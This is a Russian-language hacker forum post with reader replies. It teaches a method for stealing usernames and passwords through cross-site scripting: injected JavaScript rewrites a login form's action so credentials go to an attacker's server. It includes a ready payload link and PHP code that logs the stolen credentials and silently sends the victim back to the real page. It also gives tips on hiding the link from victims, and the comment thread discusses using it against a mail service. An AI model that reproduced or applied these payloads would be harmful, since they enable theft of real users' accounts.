Метод похищения аутентификационных данных с помощью XSS. [Введение] В связи с тем, что данный метод как оказалось известен в определенных кругах, решил поделиться им с остальными. А так же хотелось бы опровергнуть мнение, что XSS - это только лишь похищение куки! Данный метод родился в моей голове, когда я наткнулся на пользователя у которого стоял запрет на использование куки в браузере, а получить доступ к его акку на определенном сайте очень хотелось, тем более там присутствовала xss, сейчас не помню пассивная или нет. В результате данный метод я использую успешно и по сей день . Сразу хочу оговориться, что в данной статье я не буду описывать что из себя представляют XSS атаки в полном объеме, а так же все давно известные методы атак на их основе. [Немного теории] Вначале дадим некоторые определения, которые на мой взгляд наиболее кратко и понятно описывают XSS. Аутентификационные данные - в контексте данной статьи представляют из себя логин и пароль пользователя веб-системы. Межсайтовый скриптинг (Cross Site Scripting, XSS) – уязвимость, возникающая вследствие недостаточной фильтрации данных, переданных одним пользователем с последующим их выводом другим пользователям системы. XSS-атака – это реализация угрозы безопасности Веб-систем на основе уязвимости типа межсайтового скриптинга. Активная XSS (сохраненная) – уязвимость, возникающая вследствие недостаточной фильтрации данных, переданных одним пользователем, сохраненных в системе и доступных для вывода другим пользователям системы. Пассивная XSS (переданная) – уязвимость, возникающая вследствие недостаточной фильтрации данных, переданных системе в параметрах HTTP-запроса с последующим их выводом в HTML-страницу. В настоящее время существует огромное количество разновидностей атак основанных на уязвимостях типа XSS. В настоящий момент из этого множества можно выделить следующие шесть видов угроз: 1. угроза похищения идентификационной сессии, идентификационного ключа, параметров хранящихся в cookie; 2. угроза отслеживания действий пользователя и сбора статистической информации; 3. угроза скрытого влияния на действия привилегированного пользователя системы; 4. угроза эксплуатации уязвимости программного обеспечения пользователя(эксплойты); 5. угроза подмены пользовательской информации, изменения структуры и функциональности системы(фейк); 6. угроза скрытого перенаправления информационных потоков в сети(dos, ddos); [Анализ] Существующие методы реализации угроз похищения идентификационной сессии, идентификационного ключа и параметров, хранящихся в cookie, имеют следующие недостатки при использовани: • отсутствие аутентификационных данных в полном объеме. Обычно в куки хранится признак аутентификации (например некий ключ, идентификатор), а не сами данные (логин и пароль); • временные ограничения. Похищение идентификатора сессии позволяет получить права пользователя только на время продолжительности сеанса, установленного в системе, после чего идентификатор меняется и необходимо вновь его получать; • вероятное раскрытие атаки. Получив частичные аутентификационные данные, например идентификатор сессии, и соответственно, временно, права пользователя системы, атакующий имеет возможность сменить аутентификационные данные пользователя, что может повлечь за собой, раскрытие его присутствия в системе в момент, когда пользователь попытается войти в систему, используя свои данные; • отсутствие куки. Даже если уязвимость присутствует в системе, то по различным причинам (политика безопасности) поддержка куки может быть запрещена в самой системе или отключена их поддержка в настройках браузера пользователя. Известные методы реализации угроз подмены информации, изменения структуры и функциональности системы имеют следующие недостатки при получении аутентификационных данных: • изменение интерфейса системы. Изменение структуры или функциональности может повлечь нарушение нормальной работы системы, что в свою очередь может привести к визуальным изменениям интерфейса и вызвать подозрения пользователей; • изменение адреса. При переводе пользователя на подставную систему, имеющую точную копию как по дизайну, так и функциональности, в адресной строке браузера изменится адрес реальной системы, что также вызовет подозрения пользователей; • трудоемкость реализации. При перенаправлении пользователя на подставную систему, при подмене реальной формы авторизации на собственную форму или внедрении элемента, копирующего дизайн оригинальной страницы системы, возникает трудоемкая работа по созданию точной копии дизайна и идентичной функциональности системы; • ограничение уязвимых параметров. При подмене реальной формы авторизации на собственную форму или внедрении элемента, копирующего дизайн оригинальной страницы системы, необходимо внедрить через уязвимый параметр достаточно большой по размеру скриптовый сценарий, что не всегда допустимо в системе (например если уязвимый параметр “имя пользователя” ограничен 20 символами). [Метод] Разработанный метод похищения аутентификационных данных основан на особенностях механизма обработки объектной модели документа (Document Object Model, DOM) в формате HTML, используемого браузерами и другими приложениями в соответствии со спецификацией языка гипертекстовой разметки HTML. При разборе структуры и построении объектного дерева документа, для дальнейшей интерпретации, браузер осуществляет анализ данных в документе, проходя от начала до конца один раз. Как и во многих языках программирования синтаксис языка HTML позволяет переопределять значения объектов на протяжении всего документа. Окончательным значением каждого элемента объектного дерева, построенного браузером при анализе документа, является значение присвоенное элементу последним в коде страницы. Основная идея предложенного метода заключается в переопределении реального функционала подсистемы аутентификации, определенного разработчиками в Веб-интерфейсе системы, на собственный функционал. Следовательно необходимым условием для реализации предложенного метода является расположение уязвимого параметра после определения функционала подсистемы аутентификации в документе. Рассмотрим технологию реализации предложенного метода на примере абстрактной Веб-системы наиболее приближенной по архитектуре и функционалу к реальным системам в сети Интернет. Из рисунка видно, что система имеет некоторый Веб-интерфейс, а так же подсистему аутентификации, включающую форму аутентификации и обработчик этой формы соответственно. Перед началом работы в системе пользователю необходимо пройти авторизацию, для этого он запрашивает странницу по адресу http://www.site.com/auth.html, содержащую форму аутентификации. В данной форме пользователь вводит свои идентификационные и аутентификационные данные, а именно имя и пароль. После нажатия кнопки подтверждения данные передаются обработчику формы аутентификации auth.php, расположенному на Веб-сервере, для дальнейшей авторизации пользователя в системе. Рассмотрим фрагмент кода формы аутентификации страницы auth.html: Code: ... <form action=”auth.php” name=“auth“ method=”post”> … <input type=“text” name=”login” value=””> … <input type=“password” name=”password” value=””> … </form> … Рассмотрим реализацию метода на примере пассивной XSS, предположим, что уязвим параметр login. Code: … <input type=“text” name=”login” value=””>JavaScript code”> … Мы принудительно закрываем тег элемента ввода login, тем самым разрывая DOM структуру документа и разрушая функционал страницы, заложенный разработчиками. Дальнейший текст введенный нами после пары символов закрывающей двойной кавычки и скобки, будет восприниматься браузером как полноценный код скрипта. Таким образом мы получаем полный контроль над кодом скрипта загружаемым в браузер после нашего внедрения в поле имени. Основная идея предложенного метода заключается в возможности переопределения обработчика формы аутентификации, определенного в значении параметра action, тега form. Это можно реализовать с помощью следующего JavaScript кода: Code: <script>document.auth.action=‘http://server/pass.php’</script> В данном случае происходит присвоение нового значения параметру action элемента с именем auth, являющегося формой в объекте document. Внедрив этот скрипт в GET параметр login после закрытия тега элемента ввода, необходимо отправить эту ссылку целевому пользователю системы. Ссылка будет иметь следующий вид: Code: http://www.site.com/auth.html?login=“><script>document.auth.action= ‘http://server/pass.php’</script> Для избавления пользователя от подозрений, текст ссылки можно закодировать и передавать в виде escape последовательности. При переходе пользователя по нашей ссылке, у него в браузере отобразиться страница аутентификации системы, внешне идентичная оригинальной странице. Но ее исходный код будет содержать внедренный нами JavaScript код. Рассмотрим интересующий нас фрагмент исходного кода страницы, загруженной пользователем. Code: ... <form action=“auth.php" name=“auth“ method="post"> <input type=“text" name=“login" value=""> <script>document.auth.action=‘http://server/pass.php’</script>”> … </form> … Как было отмечено ранее, при обработке страницы браузер анализирует переданный HTML код один раз. Таким образом, при анализе исходного кода, браузер определит в качестве обработчика формы аутентификации реальный скрипт auth.php, а затем выполнит код расположенный после тега элемента ввода. Данный код, внедренный нами в страницу, переопределит обработчик формы аутентификации на скрипт http://server/pass.php, расположенный на удаленном сервере. В результате таких действий аутентификационные данные введенные пользователем, после нажатия кнопки “submit” отправятся нашему скрипту в POST параметрах login и password. Дальнейшая задача скрипта расположенного на удаленном сервере, заключается в приеме, обработке и сохранении POST параметров login и password. Некоторые ключевые фрагменты скрипта будут иметь следующий вид: Code: … $fd = fopen($file,"a"); … fputs($fd, " login: ".$_POST['login']." password:".$_POST['password']); … fclose($fd); … echo "<script> document.location.replace('http://www.site.com/auth.html’); </script>" Полученные аутентификационные данные благополучно сохраняются в файл. Для избавления от демаскирующих факторов, пользователь сразу же перенаправляется на нормальную страницу с формой аутентификации. При этом на страницу с формой аутентификации отправляются только что перехваченные данные и пользователь продолжает работу в системе под своим аккаунтом. Code: document.location.replace('http://www.site.com/auth.html?login=[полученные данные]&password=[полученные данные]’); </script>" [Заключение] В заключении хотелось бы отметить некоторые свойства предложенного метода: 1. Получения аутентификационных данных(логин и пароль) в явном виде, без особых усилий. В отличии от кражи куков более надежная информация. 2. От фейка(подмены страницы) отличается меньшей палевностью, т.к. адрес не меняется в адресной строке, а так же трудоемкостью, не надо поднимать похожую страницу. 3. Если xss активная, то собираются все данные всех пользователей, а не только целевого. А так же необходимо отметить аналогичное использование в активных XSS. При этом не надо забывать, что метод проходит для любого уязвимого параметра на странице с формой аутентификации, например, как это обычно бывает в форме поиска по сайту.
Картинки сам в Визио рисовал - часа два парился! В нете таких больше нет! Да, и большая просьба не писать, что не ново, я сам об этом в начале статьи написал, лучше конструктивное обсуждение, предложения и замечания!
И что ты хочешь увидеть в статье Не для новичков.. как ни крути, ты либо знаешь метод либо не знаешь и вообще термин "статья для новичков" я считаю бессмысленым. Что касаеться этой статьи то она не для новичков
Ты очень крут если все знал, но это не значит знют все, даже и не новички. И кстати если ты так прекрасно осведомлен, почему же ты не опередил этих "нескольких людей" =\
Имхо смысл статьи и есть описание одного приема. to _Great_ Объективно)) А можно по-подробней - будем исправлять.
Ну для меня напрмер непонятно как через строку поиска что то изменить в документе на сервере. То что у меня изменится, толку от этого нет. Или я совсем ничего не понимаю?
Если изменится у тя, значит и у целевого пользователя тоже изменится => надо заставить его перейти по специальной ссылке...
судя по тесту, если отправить юзверя на HTML: http://www.gmail.com/auth.html?login=“><script>document.auth.action= ‘http://myserv.jino.net/pass.php’</script> , то на сервере останутся его логин с пассом. но это ведь не так?
Во-первых более подробно опиши ситуацию, во-вторых внимательно перечитай статью. Из твоего примера, я понял что ты пытаешься провести xss там, где его нет (gmail.com). Обязательным условием реализации метода, является наличие xss на атакуемом сервере!
Получается, такую фичу можно проделать только с сайтом, у которого хсс в полях входа? а как тогда определить, есть там хсс или нет?
2 neval я знаю что такое хсс, и даже представь себе, знаю что такое сниффер. просто как проверить логин на хсс? алерта же никак не будет...
Проверяется, так же как всегда например (если нет фильтров): "><script>alert("xss");</script>, если сработает алерт, то есть xss. Но вообще в статье приведен только лишь пример с уязвимым полем логин, на самом деле уязвимость может присутствовать в любом месте страницы, например в поиске. При этом метод будет работать, необходимо чтобы уязвимость присутствовала именно на странице с формой аутентификации.
ладно, спасибо т.е. допустим на гугло.мейле есть поиск с хсс, причем должен быть именно гет запрос, да? так вот, будет ли это тогда работать?
да, только код с подменой обработчика Code: “><script>document.auth.action= ‘http://myserv.jino.net/pass.php’</script> необходимо подставлять в уязвимый параметр, а не в логин.
